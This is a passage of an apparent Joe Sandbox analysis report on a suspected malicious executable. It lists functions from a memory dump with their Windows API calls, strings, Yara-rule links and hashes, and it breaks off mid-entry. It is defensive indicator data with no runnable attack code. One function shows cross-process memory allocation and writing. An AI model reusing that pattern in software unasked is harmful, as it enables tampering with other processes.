Function 00ACE97B Relevance: 7.5, APIs: 5, Instructions: 47sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?), ref: 00ACE997
QueryPerformanceFrequency.KERNEL32(?), ref: 00ACE9A5
Sleep.KERNEL32(00000000), ref: 00ACE9AD
QueryPerformanceCounter.KERNEL32(?), ref: 00ACE9B7
Sleep.KERNEL32 ref: 00ACE9F3

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: 4d2ba03b858ce2a800b554dbd9d74ccfbd30ff906d8b40991350b0b075f16d65
Instruction ID: babf4b793118232b4663714cd276a93a5e86a9816d0af89b42e6df85ad5da541
Opcode Fuzzy Hash: 4d2ba03b858ce2a800b554dbd9d74ccfbd30ff906d8b40991350b0b075f16d65
Instruction Fuzzy Hash: B001F731C0152D9BCF00EBE6DD59AEDFB78BB09711F01465AE502B2141CB309565C765

Function 00AC10F9 Relevance: 7.5, APIs: 5, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00AC1114
GetLastError.KERNEL32(?,00000000,00000000,?,?,00AC0B9B,?,?,?), ref: 00AC1120
GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,00AC0B9B,?,?,?), ref: 00AC112F
HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,00AC0B9B,?,?,?), ref: 00AC1136
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00AC114D

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 5c13e41e0a894762620d3a42e478969ad93bb2ae8b4426689030f8be3de4346b
Instruction ID: 95ed30c78368bd571b8fdbb919f0c417ed57956837e902ab0f9ac76aa5a91e89
Opcode Fuzzy Hash: 5c13e41e0a894762620d3a42e478969ad93bb2ae8b4426689030f8be3de4346b
Instruction Fuzzy Hash: B6016975200209BFDB119FE6DD49E6A3B6EEF8A3A4B250518FA41C7360DB31DC11CA60

Function 00AC0FB4 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00AC0FCA
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00AC0FD6
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00AC0FE5
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00AC0FEC
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00AC1002

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: d6900002f1f10aa022af8d4bfb04bf8742b190ec12c652eb4696ab4c59083336
Instruction ID: b81a5012dbb4b5450be419eda14c2a965109c3b6b6c91b5c15800cfc9a97a8bf
Opcode Fuzzy Hash: d6900002f1f10aa022af8d4bfb04bf8742b190ec12c652eb4696ab4c59083336
Instruction Fuzzy Hash: 6EF06235200315EBD7218FE5DD4DF663B6DEF8A761F114415F946C7251CA70DC51CA60

Function 00AC1014 Relevance: 7.5, APIs: 5, Instructions: 43memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00AC102A
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00AC1036
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00AC1045
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00AC104C
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00AC1062

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 5464b50729ddf426769f4ed7eca87cf1c5e447743a57dfd293f783a389285f97
Instruction ID: eebe28ce18cde3302949dd441623d6e863700599fe516b3e6f6a07430bbbb3bf
Opcode Fuzzy Hash: 5464b50729ddf426769f4ed7eca87cf1c5e447743a57dfd293f783a389285f97
Instruction Fuzzy Hash: 4DF0C239200305EBD7219FE5ED49F663B6DEF8A761F110424FD05C7251CA30D851CA60

Function 00AD030F Relevance: 7.5, APIs: 6, Instructions: 41COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,?,00AD017D,?,00AD32FC,?,00000001,00AA2592,?), ref: 00AD0324
CloseHandle.KERNEL32(?,?,?,?,00AD017D,?,00AD32FC,?,00000001,00AA2592,?), ref: 00AD0331
CloseHandle.KERNEL32(?,?,?,?,00AD017D,?,00AD32FC,?,00000001,00AA2592,?), ref: 00AD033E
CloseHandle.KERNEL32(?,?,?,?,00AD017D,?,00AD32FC,?,00000001,00AA2592,?), ref: 00AD034B
CloseHandle.KERNEL32(?,?,?,?,00AD017D,?,00AD32FC,?,00000001,00AA2592,?), ref: 00AD0358
CloseHandle.KERNEL32(?,?,?,?,00AD017D,?,00AD32FC,?,00000001,00AA2592,?), ref: 00AD0365

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 9d7e2c01a67006b1155d4d5c9f7258323b5659996ee0ffbcad5087e4ca6a4911
Instruction ID: 3cd04983996f90b6eaaa93f9c535fe9bcb7c951645d8ccbc0decac42f5d7a581
Opcode Fuzzy Hash: 9d7e2c01a67006b1155d4d5c9f7258323b5659996ee0ffbcad5087e4ca6a4911
Instruction Fuzzy Hash: FE01AE72800B559FCB30AF66D880916FBF9BF603153158A3FD1A796A31C3B1A959DF80

Function 00A9D73A Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00A9D752

Part of subcall function 00A929C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00A9D7D1,00000000,00000000,00000000,00000000,?,00A9D7F8,00000000,00000007,00000000,?,00A9DBF5,00000000), ref: 00A929DE
Part of subcall function 00A929C8: GetLastError.KERNEL32(00000000,?,00A9D7D1,00000000,00000000,00000000,00000000,?,00A9D7F8,00000000,00000007,00000000,?,00A9DBF5,00000000,00000000), ref: 00A929F0

_free.LIBCMT ref: 00A9D764
_free.LIBCMT ref: 00A9D776
_free.LIBCMT ref: 00A9D788
_free.LIBCMT ref: 00A9D79A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: a6d2dec98e7d470506ceaea5a8bb831fdff87f0b996ff16c6378e3ccced5abc5
Instruction ID: b644c16f4068f93bc9c4349621ff047954c9cf1f0da0898ecb6505b295af8b05
Opcode Fuzzy Hash: a6d2dec98e7d470506ceaea5a8bb831fdff87f0b996ff16c6378e3ccced5abc5
Instruction Fuzzy Hash: 32F0AF72745204AB8E25EBA4FAC5D1A7BDDBB447107A54805F04DEB551CB20FCC187A5

Function 00AC5C44 Relevance: 7.5, APIs: 5, Instructions: 40windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00AC5C58
GetWindowTextW.USER32(00000000,?,00000100), ref: 00AC5C6F
MessageBeep.USER32(00000000), ref: 00AC5C87
KillTimer.USER32(?,0000040A), ref: 00AC5CA3
EndDialog.USER32(?,00000001), ref: 00AC5CBD

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 5fd962496dfb2ef49727fe739a3fd7864960e524a948df3815425858841644f5
Instruction ID: caa1691a572fa24f2bb056c9fc45d7f4756c67b1babe95ba0c77cf6bd271f4c1
Opcode Fuzzy Hash: 5fd962496dfb2ef49727fe739a3fd7864960e524a948df3815425858841644f5
Instruction Fuzzy Hash: F3018B305047049BEB245BA1DE4EFA577B8BF00B05F01155DB553A10E1DBF0B989CA50

Function 00A922A0 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00A922BE

Part of subcall function 00A929C8: RtlFreeHeap.NTDLL(00000000,00000000,?,00A9D7D1,00000000,00000000,00000000,00000000,?,00A9D7F8,00000000,00000007,00000000,?,00A9DBF5,00000000), ref: 00A929DE
Part of subcall function 00A929C8: GetLastError.KERNEL32(00000000,?,00A9D7D1,00000000,00000000,00000000,00000000,?,00A9D7F8,00000000,00000007,00000000,?,00A9DBF5,00000000,00000000), ref: 00A929F0

_free.LIBCMT ref: 00A922D0
_free.LIBCMT ref: 00A922E3
_free.LIBCMT ref: 00A922F4
_free.LIBCMT ref: 00A92305

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1a75ab6a1223ea3725278ef40ee8e2170040a996317ca8328efafeb060d671cd
Instruction ID: 0515d4ad94971cb60b69c6940d45e67638fbd08b1b215aae8d886945df1e6fca
Opcode Fuzzy Hash: 1a75ab6a1223ea3725278ef40ee8e2170040a996317ca8328efafeb060d671cd
Instruction Fuzzy Hash: 9EF03AB1910520AB8A22FF5CBD01A5D3FE8BB687607200A4AF418D72B1CF300912EBE4

Function 00A795C5 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00A795D4
StrokeAndFillPath.GDI32(?,?,00AB71F7,00000000,?,?,?), ref: 00A795F0
SelectObject.GDI32(?,00000000), ref: 00A79603
DeleteObject.GDI32 ref: 00A79616
StrokePath.GDI32(?), ref: 00A79631

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 49f4688881cf8bdce3ea075cec425ac35356f379bde3e921a9856fc2fac67e6f
Instruction ID: 07c97207bdb47641f036f4f9e1b9061d0adfa98d38164b08bbc91fdeb8316621
Opcode Fuzzy Hash: 49f4688881cf8bdce3ea075cec425ac35356f379bde3e921a9856fc2fac67e6f
Instruction Fuzzy Hash: D9F0CD35005608EBD7169F99ED187693B69A701332F14C715F459560F0CF308557DF24

Function 00A90F47 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 389COMMONLIBRARYCODE

Download Yara Rule

APIs

__freea.LIBCMT ref: 00A910F9
__freea.LIBCMT ref: 00A91117

Part of subcall function 00A91537: _free.LIBCMT ref: 00A9154F

Strings

a/p, xrefs: 00A911DE
am/pm, xrefs: 00A9117A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: __freea$_free
String ID: a/p$am/pm
API String ID: 3432400110-3206640213
Opcode ID: b9b0c02c30df5f08b9b42c70c0aaf21e5538672db50db4cbb5f0e1b29da13130
Instruction ID: 4c6946969ffbf5b4d98fa8dca5b93fe87f6ed10c1e601c911777590031521011
Opcode Fuzzy Hash: b9b0c02c30df5f08b9b42c70c0aaf21e5538672db50db4cbb5f0e1b29da13130
Instruction Fuzzy Hash: 80D1CC35B00207DADF699F68C985AFBB7F0EF06300F284269E915AFA50D7759D80CB91

Function 00AE7B7E Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

Part of subcall function 00A80242: EnterCriticalSection.KERNEL32(00B3070C,00B31884,?,?,00A7198B,00B32518,?,?,?,00A612F9,00000000), ref: 00A8024D
Part of subcall function 00A80242: LeaveCriticalSection.KERNEL32(00B3070C,?,00A7198B,00B32518,?,?,?,00A612F9,00000000), ref: 00A8028A

Part of subcall function 00A69CB3: _wcslen.LIBCMT ref: 00A69CBD

Part of subcall function 00A800A3: __onexit.LIBCMT ref: 00A800A9

__Init_thread_footer.LIBCMT ref: 00AE7BFB

Part of subcall function 00A801F8: EnterCriticalSection.KERNEL32(00B3070C,?,?,00A78747,00B32514), ref: 00A80202
Part of subcall function 00A801F8: LeaveCriticalSection.KERNEL32(00B3070C,?,00A78747,00B32514), ref: 00A80235

Strings

G, xrefs: 00AE7C7F
5, xrefs: 00AE7C78
Variable must be of type 'Object'., xrefs: 00AE7C3A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer__onexit_wcslen
String ID: 5$G$Variable must be of type 'Object'.
API String ID: 535116098-3733170431
Opcode ID: d11eedb2dc40da72a276a66531e89229981362e722e92b84dec8d79ea533c380
Instruction ID: a2ed1113ae2b00afe2b40f50213038b3c4b7df31871be3e11004f726e4efebc7
Opcode Fuzzy Hash: d11eedb2dc40da72a276a66531e89229981362e722e92b84dec8d79ea533c380
Instruction Fuzzy Hash: 9891BD75A04249EFCB04EF96DA91DBDB7B5FF48300F248049F806AB292DB71AE45CB51

Function 00AC2716 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 121windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00ACB403: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00AC21D0,?,?,00000034,00000800,?,00000034), ref: 00ACB42D

SendMessageW.USER32(?,00001104,00000000,00000000), ref: 00AC2760

Part of subcall function 00ACB3CE: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,00AC21FF,?,?,00000800,?,00001073,00000000,?,?), ref: 00ACB3F8

Part of subcall function 00ACB32A: GetWindowThreadProcessId.USER32(?,?), ref: 00ACB355
Part of subcall function 00ACB32A: OpenProcess.KERNEL32(00000438,00000000,?,?,?,00AC2194,00000034,?,?,00001004,00000000,00000000), ref: 00ACB365
Part of subcall function 00ACB32A: VirtualAllocEx.KERNEL32(00000000,00000000,?,00001000,00000004,?,?,00AC2194,00000034,?,?,00001004,00000000,00000000), ref: 00ACB37B

SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00AC27CD
SendMessageW.USER32(?,00001111,00000000,00000000), ref: 00AC281A

Strings

@, xrefs: 00AC2832

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Process$MessageSend$Memory$AllocOpenReadThreadVirtualWindowWrite
String ID: @
API String ID: 4150878124-2766056989
Opcode ID: 3f0dd0f6b8013d38df5809475d70fbd90f5c1fadd4775900628280920410903e
Instruction ID: 65004f8c656f1e094bad08a9cc53a92d95d3a05eaca0d6c38ec3ac2cf8136655
Opcode Fuzzy Hash: 3f0dd0f6b8013d38df5809475d70fbd90f5c1fadd4775900628280920410903e
Instruction Fuzzy Hash: 78410972900218AEDB10DFA4C986FEEBBB8AB09700F114099EA55B7181DA716E45CBA1

Function 00A9172E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe,00000104), ref: 00A91769
_free.LIBCMT ref: 00A91834
_free.LIBCMT ref: 00A9183E

Strings

C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe, xrefs: 00A91760, 00A91767, 00A91796, 00A917CE

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe
API String ID: 2506810119-467850543
Opcode ID: 7ff7d7487a8275591a16054fdea08c6fb6772cbd156d4c8664231db507693ad8
Instruction ID: 6717a27a11265b17f1e8551b1bca8b2a7369c20dd6ac3db870ba532ea91523f7
Opcode Fuzzy Hash: 7ff7d7487a8275591a16054fdea08c6fb6772cbd156d4c8664231db507693ad8
Instruction Fuzzy Hash: 4A316D75B0021AAFDF21DB999D85D9EBBFCEB85310B2441A6F80497211DA708E40DBA0

Function 00ACC27D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00ACC306
DeleteMenu.USER32(?,00000007,00000000), ref: 00ACC34C
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00B31990,012954A0), ref: 00ACC395

Strings

0, xrefs: 00ACC2DF

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Menu$Delete$InfoItem
String ID: 0
API String ID: 135850232-4108050209
Opcode ID: 1887b264e53f73bef0d7f75091731b28684bda9aaf73f40051a1431b480d775b
Instruction ID: eb2cb3c9cfa7ddc08cbadc1ca824fdf53929b1f321a349862f8cd3d3992d083c
Opcode Fuzzy Hash: 1887b264e53f73bef0d7f75091731b28684bda9aaf73f40051a1431b480d775b
Instruction Fuzzy Hash: E041A0712043419FD720DF25E945F6ABBE8AF85320F11861DF8A99B3D1D730A905CB62

Function 00AF4416 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000013,?,?,SysTreeView32,00AFCC08,00000000,?,?,?,?), ref: 00AF44AA
GetWindowLongW.USER32 ref: 00AF44C7
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00AF44D7

Strings

SysTreeView32, xrefs: 00AF447C

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

API ID: Window$Long
String ID: SysTreeView32
API String ID: 847901565-1698111956
Opcode ID: 96d1780c82947dced16d1a322f68a83f88259d2ce66ba95f5485b8fb95ac01c8
Instruction ID: 0096764b15cb1cf440460d463e3f151c0368c6e3e375d523189dd741b4c2d449
Opcode Fuzzy Hash: 96d1780c82947dced16d1a322f68a83f88259d2ce66ba95f5485b8fb95ac01c8
Instruction Fuzzy Hash: E1318F31214609AFDB209FB8DC45BEB7BA9EB08334F208715FA79A21E0D770EC519B50

Function 00AE304E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE335B: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,?,?,00AE3077,?,?), ref: 00AE3378

inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 00AE307A
_wcslen.LIBCMT ref: 00AE309B
htons.WSOCK32(00000000,?,?,00000000), ref: 00AE3106

Strings

255.255.255.255, xrefs: 00AE3095, 00AE309A

Memory Dump Source

Source File: 00000006.00000002.2800612718.0000000000A61000.00000020.00000001.01000000.00000009.sdmp, Offset: 00A60000, based on PE: true

Associated: 00000006.00000002.2800590822.0000000000A60000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000AFC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800687443.0000000000B22000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800759452.0000000000B2C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2800819249.0000000000B34000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_a60000_c0968d0b44.jbxd

Similarity

